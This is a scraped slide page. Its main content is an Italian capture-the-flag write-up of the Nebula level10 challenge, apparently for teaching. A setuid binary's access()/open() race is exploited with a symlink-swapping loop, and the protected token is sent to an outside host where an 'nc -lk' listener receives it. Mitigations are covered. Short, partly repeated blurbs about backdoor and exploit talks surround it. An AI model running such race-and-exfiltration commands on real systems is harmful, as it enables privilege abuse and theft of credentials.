Depth-first search (DFS) is an algorithm for traversing or searching tree or graph data structures. The algorithm starts at the root node (selecting some arbitrary node as the root node in the case of a graph) and explores as far as possible along each branch before backtracking
l seguente corso intende fornire le competenze di base per insegnare a programmare in modo creativo e mostrare come l’uso dell’informatica a scuola possa diventare una strategia per insegnare a progettare il proprio apprendimento e fornire le competenze per risolvere problemi.
Questa presentazione è la seconda versione delle mie lezioni su Scratch e fa seguito a quanto già pubblicato negli scorsi anni con “Corso di Scratch - lezione 1 e lezione 2” e “Micro Corso di Scratch”.
L’alfabeto di Scratch è una raccolta di appunti che utilizzo durante le sperimentazioni laboratoriali con i miei studenti e durante i corsi di formazione per docenti e sono da intendersi come un’introduzione alla programmazione con Scratch.
L’impostazione di queste slide è pensata per essere immediatamente utilizzabile in classe.
Logic gates are the basic building blocks of any digital system. It is an electronic circuit having one or more than one input and only one output. The relationship between the input and the output is based on a certain logic. Based on this, logic gates are named as AND gate, OR gate, NOT gate etc.
Alcuni consigli pratici per una presentazione efficaceGianluca Giansante
Quante volte avete partecipato a un convegno e avete visto un relatore presentare le proprie slide fitte di testo o con colori improbabili o piene di grafici incomprensibili?
Qui trovi alcuni consigli per rendere le tue presentazione in Power Point più chiara, più comprensibile e più efficace.
Scoprirai, ad esempio che è utile affiancare delle immagini al testo perché le persone ricordano solo il 10% di quello che ascoltano ma questa percentuale sale al 65% se ascoltano e allo stesso tempo vedono un contenuto.
Forse può interessarti anche: Presentazioni efficaci: come organizzare il discorso
http://www.slideshare.net/gianlucagiansante/presentazioni-efficaci-come-organizzare-il-discorso
Depth-first search (DFS) is an algorithm for traversing or searching tree or graph data structures. The algorithm starts at the root node (selecting some arbitrary node as the root node in the case of a graph) and explores as far as possible along each branch before backtracking
l seguente corso intende fornire le competenze di base per insegnare a programmare in modo creativo e mostrare come l’uso dell’informatica a scuola possa diventare una strategia per insegnare a progettare il proprio apprendimento e fornire le competenze per risolvere problemi.
Questa presentazione è la seconda versione delle mie lezioni su Scratch e fa seguito a quanto già pubblicato negli scorsi anni con “Corso di Scratch - lezione 1 e lezione 2” e “Micro Corso di Scratch”.
L’alfabeto di Scratch è una raccolta di appunti che utilizzo durante le sperimentazioni laboratoriali con i miei studenti e durante i corsi di formazione per docenti e sono da intendersi come un’introduzione alla programmazione con Scratch.
L’impostazione di queste slide è pensata per essere immediatamente utilizzabile in classe.
Logic gates are the basic building blocks of any digital system. It is an electronic circuit having one or more than one input and only one output. The relationship between the input and the output is based on a certain logic. Based on this, logic gates are named as AND gate, OR gate, NOT gate etc.
Alcuni consigli pratici per una presentazione efficaceGianluca Giansante
Quante volte avete partecipato a un convegno e avete visto un relatore presentare le proprie slide fitte di testo o con colori improbabili o piene di grafici incomprensibili?
Qui trovi alcuni consigli per rendere le tue presentazione in Power Point più chiara, più comprensibile e più efficace.
Scoprirai, ad esempio che è utile affiancare delle immagini al testo perché le persone ricordano solo il 10% di quello che ascoltano ma questa percentuale sale al 65% se ascoltano e allo stesso tempo vedono un contenuto.
Forse può interessarti anche: Presentazioni efficaci: come organizzare il discorso
http://www.slideshare.net/gianlucagiansante/presentazioni-efficaci-come-organizzare-il-discorso
A simple implementation of Turing Machine in C++ programming language.
for the Theory of Languages and Automata course.
Computer Engineering at Khaje Nasir Toosi University of Technology (KNTU).
the source code is available on my github profile:
https://github.com/sina-rostami/Turing-Machine-Implementation
Intelligent Sudoku Solver:
Area: Intelligent Algorithm
Duration: June 2012- June 2013
Abstract: Sudoku solving algorithm which is more efficient and faster than the common Sudoku algorithms, based on the pattern identification.
Application: Its major application would be in Steganography, when difficult Sudoku puzzles can be solved quickly.
Digital systems:
Design of a Burglar Alarm using Simple Combinational Logic.
FPGA design verified on BASYS experimenter board utilizing Verilog programming language in Xilinx design suite.
In queste slides ho parlato:
- Fondamenti su Exploit e Payload
- Cenni sulla struttura di Metasploit Framework
- Analisi Codice exploit UnrealIRCd3281
- Cenni Bind & Reverse Shell e Applicazione caso di studio
Nota Importante al fine di evitare malintesi:
Nelle slides è presente una slide nella quale faccio un analogia con una bomba, nello specifico la bomba atomica. Questa immagine, è stata usata al singolo scopo di esplicitare come è fatto un exploit e far capire qual è la differenza tra un exploit e un payload. Il tutto avviene usando la figura retorica dell'Analogia. Quindi, non ha nulla a che vedere con le vittime della seconda guerra mondiale o riferimenti storici di quel periodo.
Guida al computer - Lezione 107 - Pannello di Controllo – Crittografia unità ...caioturtle
Ecco mostrato in pratica come crittografare una partizione/disco rigido o una periferica U.S.B. ed uso della chiave di ripristino crittografia unità BitLocker.
Backdoor Coding: Analisi di una semplice backdoor e prime applicazioniSalvatore Lentini
In questo talk viene analizzata una semplice backdoor realizzata in Python. Il talk procede con l'explotation di una macchina Windows 7 tramite un attacco di Pishing e subito dopo con l'installazione di una backdoor persistence facendo vedere alcune delle funzionalità offerte. Il talk si conclude invitando l'utente a nascondere la propria webcam sensibilizzandolo sull'argomento. Il motivo per cui ho scelto di parlare di questo argomento, ha a che fare con le differenze che sorgono tra software open e software close, dato che nel primo è possibile tramite la lettura e comprensione del codice capire se il sistema ha routine di codice che si comportano come backdoor mentre nel secondo non sappiamo se ne esistono (data l'impossibilità di leggere il codice sorgente) e quindi dal momento che la sicurezza non si è mai basata sulla fiducia del produttore, è importante prevenire (mettendo delle etichette di plastica sulle nostre webcam).
A simple implementation of Turing Machine in C++ programming language.
for the Theory of Languages and Automata course.
Computer Engineering at Khaje Nasir Toosi University of Technology (KNTU).
the source code is available on my github profile:
https://github.com/sina-rostami/Turing-Machine-Implementation
Intelligent Sudoku Solver:
Area: Intelligent Algorithm
Duration: June 2012- June 2013
Abstract: Sudoku solving algorithm which is more efficient and faster than the common Sudoku algorithms, based on the pattern identification.
Application: Its major application would be in Steganography, when difficult Sudoku puzzles can be solved quickly.
Digital systems:
Design of a Burglar Alarm using Simple Combinational Logic.
FPGA design verified on BASYS experimenter board utilizing Verilog programming language in Xilinx design suite.
In queste slides ho parlato:
- Fondamenti su Exploit e Payload
- Cenni sulla struttura di Metasploit Framework
- Analisi Codice exploit UnrealIRCd3281
- Cenni Bind & Reverse Shell e Applicazione caso di studio
Nota Importante al fine di evitare malintesi:
Nelle slides è presente una slide nella quale faccio un analogia con una bomba, nello specifico la bomba atomica. Questa immagine, è stata usata al singolo scopo di esplicitare come è fatto un exploit e far capire qual è la differenza tra un exploit e un payload. Il tutto avviene usando la figura retorica dell'Analogia. Quindi, non ha nulla a che vedere con le vittime della seconda guerra mondiale o riferimenti storici di quel periodo.
Guida al computer - Lezione 107 - Pannello di Controllo – Crittografia unità ...caioturtle
Ecco mostrato in pratica come crittografare una partizione/disco rigido o una periferica U.S.B. ed uso della chiave di ripristino crittografia unità BitLocker.
Backdoor Coding: Analisi di una semplice backdoor e prime applicazioniSalvatore Lentini
In questo talk viene analizzata una semplice backdoor realizzata in Python. Il talk procede con l'explotation di una macchina Windows 7 tramite un attacco di Pishing e subito dopo con l'installazione di una backdoor persistence facendo vedere alcune delle funzionalità offerte. Il talk si conclude invitando l'utente a nascondere la propria webcam sensibilizzandolo sull'argomento. Il motivo per cui ho scelto di parlare di questo argomento, ha a che fare con le differenze che sorgono tra software open e software close, dato che nel primo è possibile tramite la lettura e comprensione del codice capire se il sistema ha routine di codice che si comportano come backdoor mentre nel secondo non sappiamo se ne esistono (data l'impossibilità di leggere il codice sorgente) e quindi dal momento che la sicurezza non si è mai basata sulla fiducia del produttore, è importante prevenire (mettendo delle etichette di plastica sulle nostre webcam).
Condivisione dei file, apertura di una shell sul computer remoto ed (eventualmente) esecuzione di applicazioni grafiche (SSH), accesso alla sessione grafica corrente da remoto (VNC) e sicurezza tramite SSH, apertura di una nuova sessione grafica su server Mac OS X, Windows e Linux, NX e FreeNX, il reverse port forwarding, problemi pratici e soluzioni
Vedremo cosa sono le smartcard e per cosa possono essere utilizzate. Sarà mostrato come configurare il vostro sistema Linux in modo tale che usi la smartcard come metodo di autenticazione, garantendo così una maggior sicurezza. PAM, ssh, creazione di una propria smartcard ...ed altro.
5. Introduzione
● Nebula è una macchina Unix-like
che offre una serie di livelli, ognuno
dei quali è composto da una sfida
che deve essere vinta
● Durante la presentazione
tratteremo la sfida level10, con
l’obiettivo di catturare la bandierina
5
6. Level10
6
● Il binario setuid in /home/flag10/flag10 caricherà qualsiasi file
dato in input, purché soddisfi i requisiti della chiamata di
sistema access()
● Per risolvere questo livello, accedi come account level10 con la
password level10
● I file per questo livello sono disponibili in /home/flag10
7. 7
Level 10
● Il programma che considereremo è level10.c e il
suo eseguibile ha il seguente percorso:
○ /home/flag10/flag10
11. Obiettivi della sfida
● L’obiettivo è quello di recuperare una password (token)
aggirando il controllo di sicurezza del programma
/home/flag10/flag10
● Autenticazione come flag10
● Esecuzione di /bin/getflag per catturare la bandierina
11
12. Costruzione di un albero di attacco
12
Bandierina
Ottenimento password
utente flag10
Rottura Password
Richiesta legittima
password
Login come utente
flag10
Esecuzione diretta di
/bin/getflag
13. Rottura password
● Se la password è scelta bene è difficile romperla
● Dunque la rottura della password non è una strada
percorribile
13
14. Richiesta password
● Potremo richiedere la password al legittimo proprietario
● Il proprietario non sarà disposto a darci la password
● Dunque, la richiesta della password non è una strada
percorribile
14
15. Aggiornamento dell’albero di attacco
15
Bandierina
Ottenimento password
utente flag10
Rottura Password
Richiesta legittima
password
Login come utente
flag10
Esecuzione diretta di
/bin/getflag
I I
16. Fallimento della strategia
● Abbiamo visto che tale strategia non porterà a nessun
risultato
● Bisogna cercare altre soluzioni per ottenere la password
di flag10 e vincere la sfida
16
18. Strategia alternativa
18
● Tramite i comandi
ls /home/level*
ls /home/flag*
possiamo controllare a quali cartelle
l’utente level10 può accedere
● Abbiamo accesso a due cartelle:
flag10 e level10
19. Strategia alternativa
● Una volta autenticati come level10,
osserviamo il contenuto delle cartelle
alle quali si ha accesso:
○ /home/flag10
○ /home/level10
● Da una prima analisi è possibile
constatare:
○ Il file flag10 possiede il setuid
acceso
○ All’interno della cartella level10 è
presente uno strano file chiamato
‘x’
19
20. File x
20
● Aprendo il file con nano è possibile
osservare che, dopo svariate righe
vuote, è visibile una stringa
● Possibile che sia la password di
flag10?
21. File x
21
Qui va inserito lo screen che
mostra il messaggio you’ve
succsfully….
● Proviamo ad accedere all’utente
flag10 tramite ssh
● Come password proviamo a
mettere la stringa trovata nella
slide precedente
22. File x
22
Qui va inserito lo screen che
mostra il messaggio you’ve
succsfully….
● Funziona, siamo riusciti a loggare
come utente flag10, proviamo a
digitare il comando ‘getflag’
● Sfida vinta, abbiamo raggiunto
l’obiettivo ! :)
23. Aggiornamento dell’albero di attacco
23
Bandierina
Ottenimento password
utente flag10
Rottura Password
Richiesta legittima
password
Login come utente
flag10
Esecuzione diretta di
/bin/getflag
Visualizzare la
password nel file ‘x’I I
In rosso il percorso
dell’albero appena
esaminato
24. Secondo approccio
24
● Adesso dobbiamo fare i conti con il
nostro obiettivo morale, quindi
avanti con il secondo approccio,
dimentichiamoci del file ‘x’
● Abbiamo detto che:
○ L’utente level10 ha accesso
solo alle cartelle level10 e
flag10
25. Secondo approccio
25
● Provando ad avviare l’eseguibile
flag10, notiamo in output un avviso
che ci spiega ciò che questo file
può fare.
26. Secondo approccio
26
● Provando a leggere il file token con
il comando ‘cat’ ci accorgiamo di
non avere i permessi per poterlo
fare
● Solo l’utente flag10 può leggere il
file token
27. Secondo approccio
27
● Proviamo a dare in input
all’eseguibile flag10 il file token
seguito dall’indirizzo della
macchina host che dovrebbe
riceverlo.
● Ciò che otteniamo in output è un
avviso, non abbiamo accesso a
token.
28. Aggiornamento dell’albero di attacco
28
Bandierina
Ottenimento password
utente flag10
Rottura Password
Richiesta legittima
password
Login come utente
flag10
Esecuzione diretta di
/bin/getflag
I I
Esecuzione di flag10
su input file token I
29. Funzione access()
● Dalla pagina del manuale, la
funzione access() verifica se il
processo di chiamata può
accedere al pathname del file
● Il controllo viene eseguito
utilizzando l’UID e GID reali del
processo chiamante, anzichè gli
ID effettivi come quando si
tenta effettivamente
un’operazione (e.g., open()), sul
file
29
30. Funzione access()
● Inoltre, nelle note del manuale vediamo
la seguente definizione:
○ “Usando access() per controllare se
un utente è autorizzato ad aprire
un file, prima che lo apra
effettivamente, crea un buco di
sicurezza, perché l’utente potrebbe
sfruttare il breve intervallo di
tempo tra il controllo e l’apertura
del file per manipolarlo”
30
31. Funzione open()
● Dentro l’if di access() troviamo la
funzione open()
● In sostanza, questo viene
chiamato TOCTOU bug, ovvero
“time-of-use to time-of-check”
● Questo bug potrebbe essere
utilizzato per una Race
Condition
31
32. TOCTOU Bug
● Nel catalogo delle debolezze tale bug corrisponde alla CWE-367, che
conferma quanto accennato prima
● Sostanzialmente il software controlla lo stato della risorsa prima di
utilizzarlo ma lo stato della risorsa può cambiare tra il controllo e l’uso
della stessa invalidando i risultati del check
32
33. 33
Race Condition
● Fenomeno che si presenta nei sistemi concorrenti
● In un sistema basato su processi multipli il risultato finale
dell’esecuzione dei processi dipende dalla temporizzazione o
dalla sequenza con cui vengono eseguiti
● Esistono diversi algoritmi che prevedono la mutua esclusione
34. Idea
● Se riuscissimo a scambiare il file token con un file creato
ad-hoc durante il tempo che intercorre tra il check e
l’apertura, dovremmo essere in grado di inviare il token
con i privilegi di flag10, ottenendo in output il contenuto
● Proviamo!
34
35. Secondo approccio
35
● Proviamo a creare col comando
‘nano’ un file denominandolo
‘token’ all’interno di una cartella
temporanea ‘tmp’
● Come possiamo notare col
comando ‘cat’ abbiamo pieno
accesso ovviamente a tale file
36. Secondo approccio
36
● Se ho accesso al file token,
posso inviarlo attraverso flag10
alla macchina in ascolto sulla
porta 18211 come previsto dal
sorgente
Macchina personale
Macchina personale
Macchina Nebula
38. Idea
● Per poter effettuare uno scambio tra il token creato in
/tmp e il token di flag10, possiamo sfruttare i
collegamenti simbolici
● Un collegamento simbolico (symlink) indica un
particolare tipo di file che altro non è che un rimando ad
un altro file o directory
● Per creare un symlink usiamo il comando ln
38
43. Albero d’attacco - Passo 2
43
Symlink tra /tmp/token e
/home/flag10/token
Invio del symlink /home/level10/token
alla macchina target
while true; do /home/flag10/flag10 /home/level10/token 192.168.1.2; done
45. Albero d’attacco - Passo 3
45
Visualizzazione della password sulla
macchina di destinazione
Symlink tra /tmp/token e
/home/flag10/token
Invio del symlink /home/level10/token
alla macchina target
nc -lk 18221
47. Albero d’attacco - Passo 4
47
Ottenimento password
utente flag10
Login come
utente flag10
Visualizzazione della password sulla
macchina di destinazione
Symlink tra /tmp/token e
/home/flag10/token
Invio del symlink /home/level10/token
alla macchina target
49. Albero d’attacco - Passo 5
49
Bandierina
Ottenimento password
utente flag10
Login come
utente flag10
Esecuzione diretta di
/bin/getflag
Visualizzazione della password sulla
macchina di destinazione
Symlink tra /tmp/token e
/home/flag10/token
Invio del symlink /home/level10/token
alla macchina target
51. Albero d’attacco
51
Bandierina
Ottenimento password
utente flag10
Rottura
Password
Richiesta legittima
password
Login come
utente flag10
Esecuzione diretta di
/bin/getflag
Visualizzare la
password nel file ‘x’
Visualizzazione della password sulla
macchina di destinazione
Symlink tra /tmp/token e
/home/flag10/token
Invio del symlink /home/level10/token
alla macchina target
I I
In rosso il percorso
dell’albero appena
esaminato
52. Debolezza #1
● Presenza del file x in level10 contenente la password in chiaro
● I permessi su tale file consentono a chiunque di poter
visualizzare il contenuto dello stesso
52
53. Debolezza #2
● Il binario /home/flag10/flag10 avendo il SETUID acceso da
la possibilità a un utente qualsiasi di poter accedere al token
contenuto in flag10
● Quindi deduciamo che c’è un elevazione dei privilegi
● CWE di riferimento: CWE-276 Incorrect Default Permission
53
54. Debolezza #3
● Le system calls access() e open() causano una falla di sicurezza
perché l’attaccante potrebbe sfruttare l’intervallo di tempo breve
tra il controllo e l’apertura del file per manipolarlo
● TOCTOU Bug
● CWE di riferimento: CWE-367 Time-of-check Time-of-use
(TOCTOU) Race Condition
54
61. ● Le race conditions TOCTOU sono difficili da eliminare
● Un modo per evitarli è utilizzare i file descriptors (fd) con
funzioni come fstat() e non utilizzare funzioni come
access()
Mitigazione #3
61
62. ● La funzione stat() ritorna le informazioni sul file specificato
dal pathname
○ int stat(const char *file_name, struct stat *buf);
● La funzione fstat() è una funzione di libreria che recupera lo
stato di un file
○ int fstat(int fd, struct stat *buf);
Mitigazione #3
62
st_uid; user ID of owner
st_gid; group ID of owner
st_nlink; number of hard links
st_size; total size, in bytes